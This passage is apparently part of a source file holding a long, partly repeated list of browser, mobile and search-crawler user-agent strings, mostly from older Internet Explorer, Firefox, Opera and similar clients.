'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
